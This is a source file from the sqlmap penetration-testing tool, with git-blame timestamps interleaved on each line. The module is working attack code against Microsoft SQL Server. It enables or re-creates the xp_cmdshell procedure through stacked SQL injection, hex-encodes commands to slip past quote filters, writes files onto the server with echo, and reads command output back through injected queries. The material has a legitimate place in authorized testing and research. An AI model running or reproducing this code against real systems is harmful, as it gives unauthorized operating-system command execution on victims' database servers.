2019-03-21 16:00:09 +03:00
#!/usr/bin/env python2
2009-04-22 15:48:07 +04:00
"""
2019-01-05 23:38:52 +03:00
Copyright ( c ) 2006 - 2019 sqlmap developers ( http : / / sqlmap . org / )
2017-10-11 15:50:46 +03:00
See the file ' LICENSE ' for copying permission
2009-04-22 15:48:07 +04:00
"""
2012-07-02 18:02:00 +04:00
from lib . core . agent import agent
2011-01-28 19:36:09 +03:00
from lib . core . common import Backend
2014-10-13 14:00:34 +04:00
from lib . core . common import flattenValue
2012-07-07 19:57:06 +04:00
from lib . core . common import getLimitRange
2012-07-10 03:19:32 +04:00
from lib . core . common import getSQLSnippet
2012-02-25 14:53:38 +04:00
from lib . core . common import hashDBWrite
2012-07-06 14:24:55 +04:00
from lib . core . common import isListLike
2012-03-13 14:36:49 +04:00
from lib . core . common import isNoneValue
2012-07-07 19:57:06 +04:00
from lib . core . common import isNumPosStrValue
from lib . core . common import isTechniqueAvailable
2012-03-13 14:36:49 +04:00
from lib . core . common import pushValue
from lib . core . common import popValue
2009-04-22 15:48:07 +04:00
from lib . core . common import randomStr
from lib . core . common import readInput
2013-01-29 23:53:11 +04:00
from lib . core . common import wasLastResponseDelayed
2012-07-02 02:41:10 +04:00
from lib . core . convert import hexencode
2009-04-22 15:48:07 +04:00
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
2018-04-01 13:45:47 +03:00
from lib . core . decorators import stackedmethod
2012-07-07 19:57:06 +04:00
from lib . core . enums import CHARSET_TYPE
2012-02-15 18:05:50 +04:00
from lib . core . enums import DBMS
2012-07-07 19:57:06 +04:00
from lib . core . enums import EXPECTED
2012-02-25 14:53:38 +04:00
from lib . core . enums import HASHDB_KEYS
2012-07-07 19:57:06 +04:00
from lib . core . enums import PAYLOAD
2012-12-06 17:14:19 +04:00
from lib . core . exception import SqlmapUnsupportedFeatureException
2012-03-13 14:36:49 +04:00
from lib . core . threads import getCurrentThreadData
2009-04-22 15:48:07 +04:00
from lib . request import inject
2016-12-20 01:47:39 +03:00
class XP_cmdshell :
2009-04-22 15:48:07 +04:00
"""
This class defines methods to deal with Microsoft SQL Server
xp_cmdshell extended procedure for plugins .
"""
def __init__ ( self ) :
self . xpCmdshellStr = " master..xp_cmdshell "
2012-12-06 17:14:19 +04:00
def _xpCmdshellCreate ( self ) :
2009-04-22 15:48:07 +04:00
cmd = " "
2016-05-30 02:38:34 +03:00
if not Backend . isVersionWithin ( ( " 2000 " , ) ) :
2009-04-22 15:48:07 +04:00
logger . debug ( " activating sp_OACreate " )
2012-07-10 03:19:32 +04:00
cmd = getSQLSnippet ( DBMS . MSSQL , " activate_sp_oacreate " )
2012-07-02 18:02:00 +04:00
inject . goStacked ( agent . runAsDBMSUser ( cmd ) )
2009-04-22 15:48:07 +04:00
2012-12-06 17:14:19 +04:00
self . _randStr = randomStr ( lowercase = True )
2014-12-06 00:01:59 +03:00
self . xpCmdshellStr = " master..new_xp_cmdshell "
2009-04-22 15:48:07 +04:00
2014-12-06 00:01:59 +03:00
cmd = getSQLSnippet ( DBMS . MSSQL , " create_new_xp_cmdshell " , RANDSTR = self . _randStr )
2009-04-22 15:48:07 +04:00
2016-05-30 02:38:34 +03:00
if not Backend . isVersionWithin ( ( " 2000 " , ) ) :
2012-07-02 18:02:00 +04:00
cmd + = " ;RECONFIGURE WITH OVERRIDE "
2009-04-22 15:48:07 +04:00
2012-07-02 18:02:00 +04:00
inject . goStacked ( agent . runAsDBMSUser ( cmd ) )
2009-04-22 15:48:07 +04:00
2012-12-06 17:14:19 +04:00
def _xpCmdshellConfigure2005 ( self , mode ) :
2011-04-30 17:20:05 +04:00
debugMsg = " configuring xp_cmdshell using sp_configure "
2009-04-22 15:48:07 +04:00
debugMsg + = " stored procedure "
logger . debug ( debugMsg )
2012-07-10 03:19:32 +04:00
cmd = getSQLSnippet ( DBMS . MSSQL , " configure_xp_cmdshell " , ENABLE = str ( mode ) )
2009-04-22 15:48:07 +04:00
return cmd
2012-12-06 17:14:19 +04:00
def _xpCmdshellConfigure2000 ( self , mode ) :
2011-04-30 17:20:05 +04:00
debugMsg = " configuring xp_cmdshell using sp_addextendedproc "
2009-04-22 15:48:07 +04:00
debugMsg + = " stored procedure "
logger . debug ( debugMsg )
if mode == 1 :
2012-07-10 03:19:32 +04:00
cmd = getSQLSnippet ( DBMS . MSSQL , " enable_xp_cmdshell_2000 " , ENABLE = str ( mode ) )
2010-01-02 05:02:12 +03:00
else :
2012-07-10 03:19:32 +04:00
cmd = getSQLSnippet ( DBMS . MSSQL , " disable_xp_cmdshell_2000 " , ENABLE = str ( mode ) )
2009-04-22 15:48:07 +04:00
return cmd
2012-12-06 17:14:19 +04:00
def _xpCmdshellConfigure ( self , mode ) :
2016-05-30 02:38:34 +03:00
if Backend . isVersionWithin ( ( " 2000 " , ) ) :
2012-12-06 17:14:19 +04:00
cmd = self . _xpCmdshellConfigure2000 ( mode )
2016-05-30 02:38:34 +03:00
else :
cmd = self . _xpCmdshellConfigure2005 ( mode )
2009-04-22 15:48:07 +04:00
2012-07-02 18:02:00 +04:00
inject . goStacked ( agent . runAsDBMSUser ( cmd ) )
2009-04-22 15:48:07 +04:00
2012-12-06 17:14:19 +04:00
def _xpCmdshellCheck ( self ) :
2012-07-02 02:31:45 +04:00
cmd = " ping -n %d 127.0.0.1 " % ( conf . timeSec * 2 )
self . xpCmdshellExecCmd ( cmd )
2010-12-08 17:26:40 +03:00
2013-01-29 23:53:11 +04:00
return wasLastResponseDelayed ( )
2009-04-22 15:48:07 +04:00
2018-04-01 13:45:47 +03:00
@stackedmethod
2012-12-06 17:14:19 +04:00
def _xpCmdshellTest ( self ) :
2012-03-13 14:36:49 +04:00
threadData = getCurrentThreadData ( )
pushValue ( threadData . disableStdOut )
threadData . disableStdOut = True
2012-03-15 02:41:53 +04:00
logger . info ( " testing if xp_cmdshell extended procedure is usable " )
2012-07-09 13:52:48 +04:00
output = self . xpCmdshellEvalCmd ( " echo 1 " )
2012-03-15 02:41:53 +04:00
2012-07-09 17:26:23 +04:00
if output == " 1 " :
logger . info ( " xp_cmdshell extended procedure is usable " )
2013-06-16 13:27:08 +04:00
elif isNoneValue ( output ) and conf . dbmsCred :
2012-03-15 02:41:53 +04:00
errMsg = " it seems that the temporary directory ( ' %s ' ) used for " % self . getRemoteTempPath ( )
errMsg + = " storing console output within the back-end file system "
errMsg + = " does not have writing permissions for the DBMS process. "
errMsg + = " You are advised to manually adjust it with option "
2016-05-24 16:18:19 +03:00
errMsg + = " ' --tmp-path ' or you won ' t be able to retrieve "
errMsg + = " the command(s) output "
2012-03-13 14:36:49 +04:00
logger . error ( errMsg )
2013-06-19 22:49:53 +04:00
elif isNoneValue ( output ) :
logger . error ( " unable to retrieve xp_cmdshell output " )
2012-03-15 02:41:53 +04:00
else :
logger . info ( " xp_cmdshell extended procedure is usable " )
2012-03-13 14:36:49 +04:00
threadData . disableStdOut = popValue ( )
2012-04-25 11:40:42 +04:00
def xpCmdshellWriteFile ( self , fileContent , tmpPath , randDestFile ) :
echoedLines = [ ]
cmd = " "
charCounter = 0
maxLen = 512
if isinstance ( fileContent , ( set , list , tuple ) ) :
lines = fileContent
else :
lines = fileContent . split ( " \n " )
for line in lines :
echoedLine = " echo %s " % line
2018-07-27 01:30:30 +03:00
echoedLine + = " >> \" %s \\ %s \" " % ( tmpPath , randDestFile )
2012-04-25 11:40:42 +04:00
echoedLines . append ( echoedLine )
for echoedLine in echoedLines :
cmd + = " %s & " % echoedLine
charCounter + = len ( echoedLine )
if charCounter > = maxLen :
2015-04-22 18:21:55 +03:00
self . xpCmdshellExecCmd ( cmd . rstrip ( " & " ) )
2012-04-25 11:40:42 +04:00
cmd = " "
charCounter = 0
if cmd :
2015-04-22 18:21:55 +03:00
self . xpCmdshellExecCmd ( cmd . rstrip ( " & " ) )
2012-04-25 11:40:42 +04:00
2012-07-07 12:51:29 +04:00
def xpCmdshellForgeCmd ( self , cmd , insertIntoTable = None ) :
2012-07-09 17:26:23 +04:00
# When user provides DBMS credentials (with --dbms-cred) we need to
# redirect the command standard output to a temporary file in order
# to retrieve it afterwards
# NOTE: this does not need to be done when the command is 'del' to
# delete the temporary file
2012-07-24 17:34:50 +04:00
if conf . dbmsCred and insertIntoTable :
2012-07-09 15:39:43 +04:00
self . tmpFile = " %s /tmpc %s .txt " % ( conf . tmpPath , randomStr ( lowercase = True ) )
cmd = " %s > \" %s \" " % ( cmd , self . tmpFile )
2012-07-09 17:26:23 +04:00
# Obfuscate the command to execute, also useful to bypass filters
# on single-quotes
2012-12-06 17:14:19 +04:00
self . _randStr = randomStr ( lowercase = True )
2017-09-21 15:35:24 +03:00
self . _cmd = " 0x %s " % hexencode ( cmd , conf . encoding )
2012-12-06 17:14:19 +04:00
self . _forgedCmd = " DECLARE @ %s VARCHAR(8000); " % self . _randStr
2012-12-21 18:06:03 +04:00
self . _forgedCmd + = " SET @ %s = %s ; " % ( self . _randStr , self . _cmd )
2012-07-09 15:39:43 +04:00
2012-07-09 17:26:23 +04:00
# Insert the command standard output into a support table,
# 'sqlmapoutput', except when DBMS credentials are provided because
# it does not work unfortunately, BULK INSERT needs to be used to
# retrieve the output when OPENROWSET is used hence the redirection
# to a temporary file from above
2012-07-24 17:34:50 +04:00
if insertIntoTable and not conf . dbmsCred :
2013-02-14 15:31:20 +04:00
self . _forgedCmd + = " INSERT INTO %s (data) " % insertIntoTable
2012-07-09 15:39:43 +04:00
2012-12-06 17:14:19 +04:00
self . _forgedCmd + = " EXEC %s @ %s " % ( self . xpCmdshellStr , self . _randStr )
2010-01-29 03:09:05 +03:00
2012-12-06 17:14:19 +04:00
return agent . runAsDBMSUser ( self . _forgedCmd )
2009-04-22 15:48:07 +04:00
2010-10-28 04:19:40 +04:00
def xpCmdshellExecCmd ( self , cmd , silent = False ) :
2013-02-14 15:25:04 +04:00
return inject . goStacked ( self . xpCmdshellForgeCmd ( cmd ) , silent )
2009-04-22 15:48:07 +04:00
2009-09-26 03:03:45 +04:00
def xpCmdshellEvalCmd ( self , cmd , first = None , last = None ) :
2013-06-19 23:25:01 +04:00
output = None
2012-02-17 19:54:49 +04:00
if conf . direct :
output = self . xpCmdshellExecCmd ( cmd )
2009-04-22 15:48:07 +04:00
2012-02-17 19:54:49 +04:00
if output and isinstance ( output , ( list , tuple ) ) :
new_output = " "
for line in output :
if line == " NULL " :
new_output + = " \n "
else :
new_output + = " %s \n " % line . strip ( " \r " )
2009-04-22 15:48:07 +04:00
2012-02-17 19:54:49 +04:00
output = new_output
else :
2012-07-07 12:51:29 +04:00
inject . goStacked ( self . xpCmdshellForgeCmd ( cmd , self . cmdTblName ) )
2012-07-09 15:39:43 +04:00
2012-07-09 17:26:23 +04:00
# When user provides DBMS credentials (with --dbms-cred), the
# command standard output is redirected to a temporary file
# The file needs to be copied to the support table,
# 'sqlmapoutput'
2012-07-24 17:34:50 +04:00
if conf . dbmsCred :
2012-07-09 15:39:43 +04:00
inject . goStacked ( " BULK INSERT %s FROM ' %s ' WITH (CODEPAGE= ' RAW ' , FIELDTERMINATOR= ' %s ' , ROWTERMINATOR= ' %s ' ) " % ( self . cmdTblName , self . tmpFile , randomStr ( 10 ) , randomStr ( 10 ) ) )
self . delRemoteFile ( self . tmpFile )
2013-02-14 15:31:20 +04:00
query = " SELECT %s FROM %s ORDER BY id " % ( self . tblField , self . cmdTblName )
2012-07-09 13:52:48 +04:00
2012-12-05 13:45:17 +04:00
if any ( isTechniqueAvailable ( _ ) for _ in ( PAYLOAD . TECHNIQUE . UNION , PAYLOAD . TECHNIQUE . ERROR , PAYLOAD . TECHNIQUE . QUERY ) ) or conf . direct :
2012-10-28 01:16:25 +04:00
output = inject . getValue ( query , resumeValue = False , blind = False , time = False )
2013-06-16 13:47:27 +04:00
2018-03-13 15:45:42 +03:00
if ( output is None ) or len ( output ) == 0 or output [ 0 ] is None :
2012-07-07 19:57:06 +04:00
output = [ ]
2013-02-14 15:31:20 +04:00
count = inject . getValue ( " SELECT COUNT(id) FROM %s " % self . cmdTblName , resumeValue = False , union = False , error = False , expected = EXPECTED . INT , charsetType = CHARSET_TYPE . DIGITS )
2012-07-09 13:52:48 +04:00
2012-07-07 19:57:06 +04:00
if isNumPosStrValue ( count ) :
for index in getLimitRange ( count ) :
query = agent . limitQuery ( index , query , self . tblField )
2012-10-28 02:36:09 +04:00
output . append ( inject . getValue ( query , union = False , error = False , resumeValue = False ) )
2012-07-09 13:52:48 +04:00
2012-02-17 19:54:49 +04:00
inject . goStacked ( " DELETE FROM %s " % self . cmdTblName )
2012-07-07 12:38:07 +04:00
if output and isListLike ( output ) and len ( output ) > 1 :
2014-10-13 14:00:34 +04:00
_ = " "
2014-10-31 18:39:29 +03:00
lines = [ line for line in flattenValue ( output ) if line is not None ]
2012-02-17 19:54:49 +04:00
2014-10-13 14:00:34 +04:00
for i in xrange ( len ( lines ) ) :
line = lines [ i ] or " "
if line is None or i in ( 0 , len ( lines ) - 1 ) and not line . strip ( ) :
continue
_ + = " %s \n " % line
output = _ . rstrip ( ' \n ' )
2012-07-09 13:52:48 +04:00
2009-04-22 15:48:07 +04:00
return output
2010-01-04 18:02:56 +03:00
def xpCmdshellInit ( self ) :
2012-02-25 14:53:38 +04:00
if not kb . xpCmdshellAvailable :
2011-04-30 17:20:05 +04:00
infoMsg = " checking if xp_cmdshell extended procedure is "
2011-04-21 18:25:04 +04:00
infoMsg + = " available, please wait.. "
logger . info ( infoMsg )
2009-04-22 15:48:07 +04:00
2012-12-06 17:14:19 +04:00
result = self . _xpCmdshellCheck ( )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if result :
logger . info ( " xp_cmdshell extended procedure is available " )
kb . xpCmdshellAvailable = True
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
else :
2011-04-30 17:20:05 +04:00
message = " xp_cmdshell extended procedure does not seem to "
2011-04-21 18:25:04 +04:00
message + = " be available. Do you want sqlmap to try to "
message + = " re-enable it? [Y/n] "
2009-04-22 15:48:07 +04:00
2017-04-18 16:48:05 +03:00
if readInput ( message , default = ' Y ' , boolean = True ) :
2012-12-06 17:14:19 +04:00
self . _xpCmdshellConfigure ( 1 )
2009-04-22 15:48:07 +04:00
2012-12-06 17:14:19 +04:00
if self . _xpCmdshellCheck ( ) :
2011-04-21 18:25:04 +04:00
logger . info ( " xp_cmdshell re-enabled successfully " )
kb . xpCmdshellAvailable = True
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
else :
logger . warn ( " xp_cmdshell re-enabling failed " )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
logger . info ( " creating xp_cmdshell with sp_OACreate " )
2012-12-06 17:14:19 +04:00
self . _xpCmdshellConfigure ( 0 )
self . _xpCmdshellCreate ( )
2009-04-22 15:48:07 +04:00
2012-12-06 17:14:19 +04:00
if self . _xpCmdshellCheck ( ) :
2011-04-21 18:25:04 +04:00
logger . info ( " xp_cmdshell created successfully " )
kb . xpCmdshellAvailable = True
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
else :
2011-04-30 17:20:05 +04:00
warnMsg = " xp_cmdshell creation failed, probably "
2011-04-21 18:25:04 +04:00
warnMsg + = " because sp_OACreate is disabled "
logger . warn ( warnMsg )
2009-04-22 15:48:07 +04:00
2012-02-26 02:54:32 +04:00
hashDBWrite ( HASHDB_KEYS . KB_XP_CMDSHELL_AVAILABLE , kb . xpCmdshellAvailable )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
if not kb . xpCmdshellAvailable :
errMsg = " unable to proceed without xp_cmdshell "
2013-01-04 02:20:55 +04:00
raise SqlmapUnsupportedFeatureException ( errMsg )
2009-04-22 15:48:07 +04:00
2011-04-21 18:25:04 +04:00
debugMsg = " creating a support table to write commands standard "
2009-04-22 15:48:07 +04:00
debugMsg + = " output to "
2010-01-02 05:02:12 +03:00
logger . debug ( debugMsg )
2009-04-22 15:48:07 +04:00
2011-04-20 16:59:23 +04:00
# TEXT can't be used here because in error technique you get:
# "The text, ntext, and image data types cannot be compared or sorted"
self . createSupportTbl ( self . cmdTblName , self . tblField , " NVARCHAR(4000) " )
2012-03-13 14:36:49 +04:00
2012-12-06 17:14:19 +04:00
self . _xpCmdshellTest ( )